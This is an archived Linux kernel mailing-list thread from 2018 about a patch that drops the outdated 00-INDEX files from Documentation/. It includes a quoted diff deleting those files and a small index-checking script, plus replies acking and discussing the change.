> -	- internal ABI between the kernel and HYP (for arm/arm64)
> -cpuid.txt
> -	- KVM-specific cpuid leaves (x86).
> -devices/
> -	- KVM_CAP_DEVICE_CTRL userspace API.
> -halt-polling.txt
> -	- notes on halt-polling
> -hypercalls.txt
> -	- KVM hypercalls.
> -locking.txt
> -	- notes on KVM locks.
> -mmu.txt
> -	- the x86 kvm shadow mmu.
> -msr.txt
> -	- KVM-specific MSRs (x86).
> -nested-vmx.txt
> -	- notes on nested virtualization for Intel x86 processors.
> -ppc-pv.txt
> -	- the paravirtualization interface on PowerPC.
> -review-checklist.txt
> -	- review checklist for KVM patches.
> -s390-diag.txt
> -	- Diagnose hypercall description (for IBM S/390)
> -timekeeping.txt
> -	- timekeeping virtualization for x86-based architectures.
> -vcpu-requests.rst
> -	- internal VCPU request API
> diff --git a/Documentation/vm/00-INDEX b/Documentation/vm/00-INDEX
> deleted file mode 100644
> index f4a4f3e..0000000
> --- a/Documentation/vm/00-INDEX
> +++ /dev/null
> @@ -1,50 +0,0 @@
> -00-INDEX
> -	- this file.
> -active_mm.rst
> -	- An explanation from Linus about tsk->active_mm vs tsk->mm.
> -balance.rst
> -	- various information on memory balancing.
> -cleancache.rst
> -	- Intro to cleancache and page-granularity victim cache.
> -frontswap.rst
> -	- Outline frontswap, part of the transcendent memory frontend.
> -highmem.rst
> -	- Outline of highmem and common issues.
> -hmm.rst
> -	- Documentation of heterogeneous memory management
> -hugetlbfs_reserv.rst
> -	- A brief overview of hugetlbfs reservation design/implementation.
> -hwpoison.rst
> -	- explains what hwpoison is
> -ksm.rst
> -	- how to use the Kernel Samepage Merging feature.
> -mmu_notifier.rst
> -	- a note about clearing pte/pmd and mmu notifications
> -numa.rst
> -	- information about NUMA specific code in the Linux vm.
> -overcommit-accounting.rst
> -	- description of the Linux kernels overcommit handling modes.
> -page_frags.rst
> -	- description of page fragments allocator
> -page_migration.rst
> -	- description of page migration in NUMA systems.
> -page_owner.rst
> -	- tracking about who allocated each page
> -remap_file_pages.rst
> -	- a note about remap_file_pages() system call
> -slub.rst
> -	- a short users guide for SLUB.
> -split_page_table_lock.rst
> -	- Separate per-table lock to improve scalability of the old page_table_lock.
> -swap_numa.rst
> -	- automatic binding of swap device to numa node
> -transhuge.rst
> -	- Transparent Hugepage Support, alternative way of using hugepages.
> -unevictable-lru.rst
> -	- Unevictable LRU infrastructure
> -z3fold.txt
> -	- outline of z3fold allocator for storing compressed pages
> -zsmalloc.rst
> -	- outline of zsmalloc allocator for storing compressed pages
> -zswap.rst
> -	- Intro to compressed cache for swap pages
> diff --git a/Documentation/w1/00-INDEX b/Documentation/w1/00-INDEX
> deleted file mode 100644
> index cb49802..0000000
> --- a/Documentation/w1/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -	- This file
> -slaves/
> -	- Drivers that provide support for specific family codes.
> -masters/
> -	- Individual chips providing 1-wire busses.
> -w1.generic
> -	- The 1-wire (w1) bus
> -w1.netlink
> -	- Userspace communication protocol over connector [1].
> diff --git a/Documentation/w1/masters/00-INDEX b/Documentation/w1/masters/00-INDEX
> deleted file mode 100644
> index 8330cf9..0000000
> --- a/Documentation/w1/masters/00-INDEX
> +++ /dev/null
> @@ -1,12 +0,0 @@
> -00-INDEX
> -	- This file
> -ds2482
> -	- The Maxim/Dallas Semiconductor DS2482 provides 1-wire busses.
> -ds2490
> -	- The Maxim/Dallas Semiconductor DS2490 builds USB <-> W1 bridges.
> -mxc-w1
> -	- W1 master controller driver found on Freescale MX2/MX3 SoCs
> -omap-hdq
> -	- HDQ/1-wire module of TI OMAP 2430/3430.
> -w1-gpio
> -	- GPIO 1-wire bus master driver.
> diff --git a/Documentation/w1/slaves/00-INDEX b/Documentation/w1/slaves/00-INDEX
> deleted file mode 100644
> index 68946f8..0000000
> --- a/Documentation/w1/slaves/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -	- This file
> -w1_therm
> -	- The Maxim/Dallas Semiconductor ds18*20 temperature sensor.
> -w1_ds2413
> -	- The Maxim/Dallas Semiconductor ds2413 dual channel addressable switch.
> -w1_ds2423
> -	- The Maxim/Dallas Semiconductor ds2423 counter device.
> -w1_ds2438
> -	- The Maxim/Dallas Semiconductor ds2438 smart battery monitor.
> -w1_ds28e04
> -	- The Maxim/Dallas Semiconductor ds28e04 eeprom.
> -w1_ds28e17
> -	- The Maxim/Dallas Semiconductor ds28e17 1-Wire-to-I2C Master Bridge.
> diff --git a/Documentation/x86/00-INDEX b/Documentation/x86/00-INDEX
> deleted file mode 100644
> index 3bb2ee3..0000000
> --- a/Documentation/x86/00-INDEX
> +++ /dev/null
> @@ -1,20 +0,0 @@
> -00-INDEX
> -	- this file
> -boot.txt
> -	- List of boot protocol versions
> -earlyprintk.txt
> -	- Using earlyprintk with a USB2 debug port key.
> -entry_64.txt
> -	- Describe (some of the) kernel entry points for x86.
> -exception-tables.txt
> -	- why and how Linux kernel uses exception tables on x86
> -microcode.txt
> -	- How to load microcode from an initrd-CPIO archive early to fix CPU issues.
> -mtrr.txt
> -	- how to use x86 Memory Type Range Registers to increase performance
> -pat.txt
> -	- Page Attribute Table intro and API
> -usb-legacy-support.txt
> -	- how to fix/avoid quirks when using emulated PS/2 mouse/keyboard.
> -zero-page.txt
> -	- layout of the first page of memory.
> diff --git a/Documentation/x86/x86_64/00-INDEX b/Documentation/x86/x86_64/00-INDEX
> deleted file mode 100644
> index 92fc20a..0000000
> --- a/Documentation/x86/x86_64/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- This file
> -boot-options.txt
> -	- AMD64-specific boot options.
> -cpu-hotplug-spec
> -	- Firmware support for CPU hotplug under Linux/x86-64
> -fake-numa-for-cpusets
> -	- Using numa=fake and CPUSets for Resource Management
> -kernel-stacks
> -	- Context-specific per-processor interrupt stacks.
> -machinecheck
> -	- Configurable sysfs parameters for the x86-64 machine check code.
> -mm.txt
> -	- Memory layout of x86-64 (4 level page tables, 46 bits physical).
> -uefi.txt
> -	- Booting Linux via Unified Extensible Firmware Interface.
> diff --git a/README b/README
> index 2c927cc..669ac7c 100644
> --- a/README
> +++ b/README
> @@ -12,7 +12,6 @@ In order to build the documentation, use ``make htmldocs`` or
> 
>  There are various text files in the Documentation/ subdirectory,
>  several of them using the Restructured Text markup notation.
> -See Documentation/00-INDEX for a list of what is contained in each file.
> 
>  Please read the Documentation/process/changes.rst file, as it contains the
>  requirements for building and running the kernel, and information about
> diff --git a/scripts/check_00index.sh b/scripts/check_00index.sh
> deleted file mode 100755
> index aa47f592..0000000
> --- a/scripts/check_00index.sh
> +++ /dev/null
> @@ -1,67 +0,0 @@
> -#!/bin/bash
> -# SPDX-License-Identifier: GPL-2.0
> -
> -cd Documentation/
> -
> -# Check entries that should be removed
> -
> -obsolete=""
> -for i in $(tail -n +12 00-INDEX |grep -E '^[a-zA-Z0-9]+'); do
> -	if [ ! -e $i ]; then
> -		obsolete="$obsolete $i"
> -	fi
> -done
> -
> -# Check directory entries that should be added
> -search=""
> -dir=""
> -for i in $(find . -maxdepth 1 -type d); do
> -	if [ "$i" != "." ]; then
> -		new=$(echo $i|perl -ne 's,./(.*),$1/,; print $_')
> -		search="$search $new"
> -	fi
> -done
> -
> -for i in $search; do
> -	if [ "$(grep -P "^$i" 00-INDEX)" == "" ]; then
> -		dir="$dir $i"
> -	fi
> -done
> -
> -# Check file entries that should be added
> -search=""
> -file=""
> -for i in $(find . -maxdepth 1 -type f); do
> -	if [ "$i" != "./.gitignore" ]; then
> -		new=$(echo $i|perl -ne 's,./(.*),$1,; print $_')
> -		search="$search $new"
> -	fi
> -done
> -
> -for i in $search; do
> -	if [ "$(grep -P "^$i\$" 00-INDEX)" == "" ]; then
> -		file="$file $i"
> -	fi
> -done
> -
> -# Output its findings
> -
> -echo -e "Documentation/00-INDEX check results:\n"
> -
> -if [ "$obsolete" != "" ]; then
> -	echo -e "- Should remove those entries:\n\t$obsolete\n"
> -else
> -	echo -e "- No obsolete entries\n"
> -fi
> -
> -if [ "$dir" != "" ]; then
> -	echo -e "- Should document those directories:\n\t$dir\n"
> -else
> -	echo -e "- No new directories to add\n"
> -fi
> -
> -if [ "$file" != "" ]; then
> -	echo -e "- Should document those files:\n\t$file"
> -else
> -	echo "- No new files to add"
> -fi
> -- 
> 2.7.4
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Paul Moore <paul@paul-moore.com>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.kernel.pci,gmane.linux.drivers.devicetree,gmane.comp.video.dri.devel,gmane.linux.kernel.gpio,gmane.linux.ide,gmane.linux.network,gmane.linux.kbuild.devel,gmane.linux.ports.mips.general,gmane.linux.kernel.lsm,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.spi.devel,gmane.comp.emulators.kvm.devel
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Wed, 5 Sep 2018 07:42:04 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <CAHC9VhR7Zana3xTEj2jUGXb+hBzyh69g0rBg_p_4tkbjtCUdpw@mail.gmail.com>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1536147623 10755 195.159.176.226 (5 Sep 2018 11:40:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Sep 2018 11:40:23 +0000 (UTC)
Cc: linux-doc@vger.kernel.org, corbet@lwn.net, bhelgaas@google.com,
        paulmck@linux.vnet.ibm.com, josh@joshtriplett.org,
        rostedt@goodmis.org, mathieu.desnoyers@efficios.com,
        jiangshanlai@gmail.com, axboe@kernel.dk, robh+dt@kernel.org,
        mark.rutland@arm.com, b.zolnierkie@samsung.com,
        linus.walleij@linaro.org, davem@davemloft.net, isdn@linux-pingi.de,
        yamada.masahiro@socionext.com, michal.lkml@markovi.net,
        peterz@infradead.org, mingo@redhat.com, will.deacon@arm.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, rjw@rjwysocki.net,
        len.brown@intel.com, pavel@ucw.cz, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, gregkh@linuxfoundation.org,
        jslaby@suse.com, broonie@kernel.o
To: henrik@austad.us
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 05 13:40:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fxWAM-0002VG-PN
	for glk-linux-kernel-4@m.gmane.org; Wed, 05 Sep 2018 13:40:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727629AbeIEQMK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 5 Sep 2018 12:12:10 -0400
Original-Received: from mail-lj1-f195.google.com ([209.85.208.195]:34462 "EHLO
        mail-lj1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727397AbeIEQMK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 5 Sep 2018 12:12:10 -0400
Original-Received: by mail-lj1-f195.google.com with SMTP id f8-v6so5975803ljk.1
        for <linux-kernel@vger.kernel.org>; Wed, 05 Sep 2018 04:42:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=paul-moore-com.20150623.gappssmtp.com; s=20150623;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=uICETPQSbfhNJtjwfuh9flj/2Me5hbTHSjQ2WxyhSrE=;
        b=lsHfCx7FQDmZaWxwgJhS4iao6++sIN2dPgqS8fiznVmU3CyWf/Jm3y3QmPPHkVuaih
         YP8TSH3k5NXON59TT+qGQwd94bIqasjIac4zD6G+WCfZxr/P/rqJxiLyQrH7bAOPL1S3
         K88A3SVk7HiWSqG4qyWymcow3Qbc7NRtbFaP0l5oFcALllQuCAwmrbEd2fmArydVVZAf
         qL9Bwzqt/4ai8jvljUeNIhVKsfwoniHvv0K7GvCKE1ibSEWg+83svDUPcvEVlEnwO86Q
         yGoS0SVcmQ9MbeIajhcs9jYvqU6VTVnA5Qq7gnR0I2DJl8nrbB+Heo2/VXUJLIr6cT92
         XF6Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=uICETPQSbfhNJtjwfuh9flj/2Me5hbTHSjQ2WxyhSrE=;
        b=d7gDX4kk5mKMhNi4iKryubTE0Q3I8rZs1lVdVbM6ERZWsaI66ellJChvN2YV8LFnsQ
         7e/LRNvNW7L1GenhDrtJ3bvlFLhbO9HSan4yJ1zWRDy0X8CUCXlcaVkQtkkcPFFwAY3f
         J3+N/XYKy3/VPwkgkYka2j8nc/q8twJd41vFG+nSK7kJD1AEytDnJU28+Ari8h4JFDdz
         rGPXMdFGDxJhePgmlKqZswfmXrZ9MEYQdRVQ79rOprHLS9ZTbi3dkobzubT+WT/UOWrA
         z/aYXVEetr4HA2KXRwCgWOv7wgOBQlT6zbb2+ccEM5xTAxZYWh7ulMSGtpJKO35CLOOc
         lX3A==
X-Gm-Message-State: APzg51DGdT5j467VDuTs9HrOMF4aRR8ssb/MkHDqVZBQtyYpGA1ALJYf
        ZEu/A8rJYMSTt/T8cyEyo6yHLWo/sxyRoIae7UmX
X-Google-Smtp-Source: ANB0VdavlWKBNXeJJyBdfH82008cZr9tDmHM/lKPXcFgrwy9Utl1qet2pSQA4qjjJvlExUP1oMKeu6jtw7GIB8IQ/U4=
X-Received: by 2002:a2e:97c8:: with SMTP id m8-v6mr24653282ljj.52.1536147736058;
 Wed, 05 Sep 2018 04:42:16 -0700 (PDT)
In-Reply-To: <1536012923-16275-1-git-send-email-henrik@austad.us>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2862026 gmane.linux.documentation:59380 gmane.linux.kernel.pci:74955 gmane.linux.drivers.devicetree:286912 gmane.comp.video.dri.devel:235246 gmane.linux.kernel.gpio:33850 gmane.linux.ide:65391 gmane.linux.network:553079 gmane.linux.kbuild.devel:21109 gmane.linux.ports.mips.general:66365 gmane.linux.kernel.lsm:39749 gmane.linux.ports.parisc:28929 gmane.linux.power-management.general:105895 gmane.linux.ports.ppc64.devel:162008 gmane.linux.kernel.spi.devel:29973 gmane.comp.emulators.kvm.devel:192058
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2862026>

On Mon, Sep 3, 2018 at 6:15 PM Henrik Austad <henrik@austad.us> wrote:
> This is a respin with a wider audience (all that get_maintainer returned)
> and I know this spams a *lot* of people. Not sure what would be the correct
> way, so my apologies for ruining your inbox.
>
> The 00-INDEX files are supposed to give a summary of all files present
> in a directory, but these files are horribly out of date and their
> usefulness is brought into question. Often a simple "ls" would reveal
> the same information as the filenames are generally quite descriptive as
> a short introduction to what the file covers (it should not surprise
> anyone what Documentation/sched/sched-design-CFS.txt covers)
>
> A few years back it was mentioned that these files were no longer really
> needed, and they have since then grown further out of date, so perhaps
> it is time to just throw them out.
>
> A short status yields the following _outdated_ 00-INDEX files, first
> counter is files listed in 00-INDEX but missing in the directory, last
> is files present but not listed in 00-INDEX.
>
> List of outdated 00-INDEX:
> Documentation: (4/10)
> Documentation/sysctl: (0/1)
> Documentation/timers: (1/0)
> Documentation/blockdev: (3/1)
> Documentation/w1/slaves: (0/1)
> Documentation/locking: (0/1)
> Documentation/devicetree: (0/5)
> Documentation/power: (1/1)
> Documentation/powerpc: (0/5)
> Documentation/arm: (1/0)
> Documentation/x86: (0/9)
> Documentation/x86/x86_64: (1/1)
> Documentation/scsi: (4/4)
> Documentation/filesystems: (2/9)
> Documentation/filesystems/nfs: (0/2)
> Documentation/cgroup-v1: (0/2)
> Documentation/kbuild: (0/4)
> Documentation/spi: (1/0)
> Documentation/virtual/kvm: (1/0)
> Documentation/scheduler: (0/2)
> Documentation/fb: (0/1)
> Documentation/block: (0/1)
> Documentation/networking: (6/37)
> Documentation/vm: (1/3)
>
> Then there are 364 subdirectories in Documentation/ with several files that
> are missing 00-INDEX alltogether (and another 120 with a single file and no
> 00-INDEX).
>
> I don't really have an opinion to whether or not we /should/ have 00-INDEX,
> but the above 00-INDEX should either be removed or be kept up to date. If
> we should keep the files, I can try to keep them updated, but I rather not
> if we just want to delete them anyway.
>
> As a starting point, remove all index-files and references to 00-INDEX and
> see where the discussion is going.
>
> Again, sorry for the insanely wide distribution.
>
> Signed-off-by: Henrik Austad <henrik@austad.us>
...
> Signed-off-by: Henrik Austad <haustad@cisco.com>
> ---
>  Documentation/00-INDEX                  | 428 --------------------------------
...

Looks reasonable to me, you can add my ACK for the NetLabel bits.

Acked-by: Paul Moore <paul@paul-moore.com>

-- 
paul moore
www.paul-moore.com


From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Thu, 6 Sep 2018 09:58:04 -0600
Organization: LWN.net
Lines: 18
Approved: news@gmane.org
Message-ID: <20180906095804.5ab2716f@lwn.net>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
 <20180904113030.GB25177@amd>
 <20180904095908.13298b3d@gandalf.local.home>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536249456 5202 195.159.176.226 (6 Sep 2018 15:57:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Sep 2018 15:57:36 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Henrik Austad <henrik@austad.us>,
 Will Deacon <will.deacon@arm.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>,
 Radim =?UTF-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo M
To: Steven Rostedt <rostedt@goodmis.org>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Thu Sep 06 17:57:27 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fxwes-0001AU-MA
	for sf-dri-devel@m.gmane.org; Thu, 06 Sep 2018 17:57:27 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 7B5C86E6E3;
	Thu,  6 Sep 2018 15:59:36 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from ms.lwn.net (ms.lwn.net [45.79.88.28])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 014176E6E3
 for <dri-devel@lists.freedesktop.org>; Thu,  6 Sep 2018 15:59:34 +0000 (UTC)
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ms.lwn.net (Postfix) with ESMTPSA id 48C1F739;
 Thu,  6 Sep 2018 15:58:29 +0000 (UTC)
In-Reply-To: <20180904095908.13298b3d@gandalf.local.home>
X-Mailer: Claws Mail 3.16.0 (GTK+ 2.24.32; x86_64-redhat-linux-gnu)
X-BeenThere: dri-devel@lists.freedesktop.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Direct Rendering Infrastructure - Development
 <dri-devel.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/dri-devel>
List-Post: <mailto:dri-devel@lists.freedesktop.org>
List-Help: <mailto:dri-devel-request@lists.freedesktop.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/dri-devel>,
 <mailto:dri-devel-request@lists.freedesktop.org?subject=subscribe>
Errors-To: dri-devel-bounces@lists.freedesktop.org
Original-Sender: "dri-devel" <dri-devel-bounces@lists.freedesktop.org>
Xref: news.gmane.org gmane.comp.video.dri.devel:235497 gmane.linux.ports.mips.general:66474 gmane.comp.emulators.kvm.devel:192137 gmane.linux.documentation:59460 gmane.linux.kernel.lsm:39787 gmane.linux.kernel.gpio:33895 gmane.linux.kbuild.devel:21168 gmane.linux.ports.parisc:28930 gmane.linux.ide:65399 gmane.linux.kernel.pci:75002 gmane.linux.power-management.general:105921 gmane.linux.kernel:2863497 gmane.linux.kernel.spi.devel:29992 gmane.linux.network:553338 gmane.linux.ports.ppc64.devel:162153 gmane.linux.drivers.devicetree:287123
Archived-At: <http://permalink.gmane.org/gmane.comp.video.dri.devel/235497>

T24gVHVlLCA0IFNlcCAyMDE4IDA5OjU5OjA4IC0wNDAwClN0ZXZlbiBSb3N0ZWR0IDxyb3N0ZWR0
QGdvb2RtaXMub3JnPiB3cm90ZToKCj4gT24gVHVlLCA0IFNlcCAyMDE4IDEzOjMwOjMwICswMjAw
Cj4gUGF2ZWwgTWFjaGVrIDxwYXZlbEB1Y3cuY3o+IHdyb3RlOgo+IAo+ID4gSSdkIHNheSB0aGlz
IGlzIHN0aWxsIHF1aXRlIHZhbHVlYWJsZSwgYW5kIGl0IG1pZ2h0IGJlIHdvcnRoIGZpeGluZywK
PiA+IHJhdGhlciB0aGVuIHJlbW92aW5nIGNvbXBsZXRlbHkuICAKPiAKPiBJIGFncmVlLiBQZXJo
YXBzIHdlIHNob3VsZCBoYXZlIGEgMDAtREVTQ1JJUFRJT04gZmlsZSBpbiBlYWNoCj4gZGlyZWN0
b3J5LCBhbmQgZWFjaCBmaWxlIGNvdWxkIHN0YXJ0IHdpdGggYToKPiAKPiAgREVTQ1JJUFRJT046
IDxvbmUgbGluZSBkZXNjcmlwdGlvbiBoZXJlPgo+IAo+IGFuZCB0aGVuIHRoZXNlIGZpbGVzIGNv
dWxkIGJlIGdlbmVyYXRlZCBieSB0aG9zZSB0aGF0IGhhdmUgdGhlc2UgdGFncy4KCkkgcmVhbGx5
IGRvbid0IHdhbnQgdG8gaGFjayB1cCB5ZXQgYW5vdGhlciBkb2N1bWVudGF0aW9uIHN5bnRheCBh
bmQKcHJvY2Vzc2luZyBzY2hlbWUuICBXZSBhbHJlYWR5IGhhdmUgb25lIHRoYXQgZG9lcyBhbGwg
b2YgdGhpcyBhbmQgbW9yZS4KVGhhdCBlbmVyZ3kgd291bGQgYmUgZmFyIGJldHRlciBzcGVudCBi
cmluZ2luZyB0aGUgZG9jcyBpbnRvIHRoZSBSU1QKaGllcmFyY2h5LCBJTU8uCgpUaGFua3MsCgpq
b24gICh3aG8gaXMgaW5jcmVhc2luZ2x5IGluY2xpbmVkIHRvIGFwcGx5IHRoaXMgcGF0Y2gpCl9f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCmRyaS1kZXZlbCBt
YWlsaW5nIGxpc3QKZHJpLWRldmVsQGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpodHRwczovL2xpc3Rz
LmZyZWVkZXNrdG9wLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2RyaS1kZXZlbAo=


From - Thu Nov 08 21:41:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.comp.video.dri.devel,gmane.linux.ports.mips.general,gmane.comp.emulators.kvm.devel,gmane.linux.documentation,gmane.linux.kernel.lsm,gmane.linux.kernel.gpio,gmane.linux.kbuild.devel,gmane.linux.ports.parisc,gmane.linux.ide,gmane.linux.kernel.pci,gmane.linux.power-management.general,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.linux.network,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.devicetree
Subject: Re: [PATCH] [RFC v2] Drop all 00-INDEX files from Documentation/
Date: Thu, 6 Sep 2018 12:01:20 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <20180906120120.3dd1fc91@gandalf.local.home>
References: <1536012923-16275-1-git-send-email-henrik@austad.us>
 <20180904113030.GB25177@amd>
 <20180904095908.13298b3d@gandalf.local.home>
 <20180906095804.5ab2716f@lwn.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1536249570 14485 195.159.176.226 (6 Sep 2018 15:59:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 6 Sep 2018 15:59:30 +0000 (UTC)
Cc: Mark Rutland <mark.rutland@arm.com>, linux-mips@linux-mips.org,
 linux-fbdev@vger.kernel.org, x86@kernel.org, kvm@vger.kernel.org,
 linux-doc@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 James Hogan <jhogan@kernel.org>, Henrik Austad <henrik@austad.us>,
 Will Deacon <will.deacon@arm.com>, dri-devel@lists.freedesktop.org,
 Masahiro Yamada <yamada.masahiro@socionext.com>, Jan Kandziora <jjj@gmx.de>,
 Paul Mackerras <paulus@samba.org>, Henrik Austad <haustad@cisco.com>,
 Pavel Machek <pavel@ucw.cz>, "H. Peter Anvin" <hpa@zytor.com>,
 Evgeniy Polyakov <zbr@ioremap.net>, linux-s390@vger.kernel.org,
 Ian Kent <raven@themaw.net>, linux-security-module@vger.kernel.org,
 Paul Moore <paul@paul-moore.com>, Michael Ellerman <mpe@ellerman.id.au>,
 Helge Deller <deller@gmx.de>,
 Radim =?UTF-8?B?S3LEjW3DocWZ?= <rkrcmar@redhat.com>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo M
To: Jonathan Corbet <corbet@lwn.net>
Original-X-From: dri-devel-bounces@lists.freedesktop.org Thu Sep 06 17:59:20 2018
Return-path: <dri-devel-bounces@lists.freedesktop.org>
Envelope-to: sf-dri-devel@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <dri-devel-bounces@lists.freedesktop.org>)
	id 1fxwgh-0003YT-Rt
	for sf-dri-devel@m.gmane.org; Thu, 06 Sep 2018 17:59:20 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 68B576E6E8;
	Thu,  6 Sep 2018 16:01:29 +0000 (UTC)
X-Original-To: dri-devel@lists.freedesktop.org
Delivered-To: dri-devel@lists.freedesktop.org
Original-Received: from mail.kernel.org (mail.kernel.org [198.145.29.99])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 494DC6E6E8
 for <dri-devel@lists.freedesktop.org>; Thu,  6 Sep 2018 16:01:28 +0000 (UTC)
Original-Received: from gandalf.local.home (cpe-66-24-56-78.stny.res.rr.com
 [66.24.56.78])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id EBD402075E;
 Thu,  6 Sep 2018 16:01:21 +0000 (UTC)
In-Reply-To: <20180906095804.5ab2716f@lwn.net>
